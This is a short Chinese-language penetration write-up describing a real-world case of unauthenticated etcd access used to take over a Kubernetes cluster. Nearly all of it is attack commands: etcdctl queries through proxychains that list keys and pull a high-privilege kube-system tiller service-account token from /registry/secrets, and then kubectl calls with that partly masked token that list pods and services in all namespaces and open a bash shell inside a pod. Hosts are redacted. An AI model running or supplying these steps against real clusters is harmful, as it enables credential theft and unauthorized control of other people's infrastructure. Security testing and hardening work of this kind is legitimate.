ETCD 未授权访问实战案例

1、发现 etcd 未授权。
https://xxx200:2379/v2/keys

2、尝试在etcd里查询管理员的token，然后使用该token配合kubectl指令接管集群。

proxychains ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://xxx0:2379/ get / --prefix --keys-only | grep /secrets/

最终发现/registry/secrets/kube-system/tiller-token-vnnjg 为高权限 token。

proxychains ./etcdctl  --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://xxx:2379/ get /registry/secrets/kube-system/tiller-token-xxx

3、通常情况下 etcd 所在 ip 即为 6443 管理端口所在 ip，探测后发现 6443 端口开放，接下来可通过 kubectl 操作 k8s。
列出kube-system 下所有 pods。

./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJ0xxxrRffRMx6p5lUvCPFm1b8LIY53eeq2jL0EA2ScjHPR26t9-OkGiR0bLPHpq85TmzEywKLvF03XRue_6o7uVc67W7y_7sjSSRSb-MzBHKjCYE-RqQY6-1X2JS_5m3ftlQFrQ2CUgC5HSlBA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" -n kube-system get pods

列出所有ns的pod、services

proxychains ./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJ0aWxsZXItdG9rZW4tdm5uamciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2xxxA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" get pods,svc --all-namespaces -o wide

权限证明。

./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcxxxywKLvF03XRue_6o7uVc67W7y_7sjSSRSb-MzBHKjCYE-RqQY6-1X2JS_5m3ftlQFrQ2CUgC5HSlBA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" exec -it pod/xxx -n xxx -- bash

pod 数量 131 个，实际容器数量大于等于 131 台。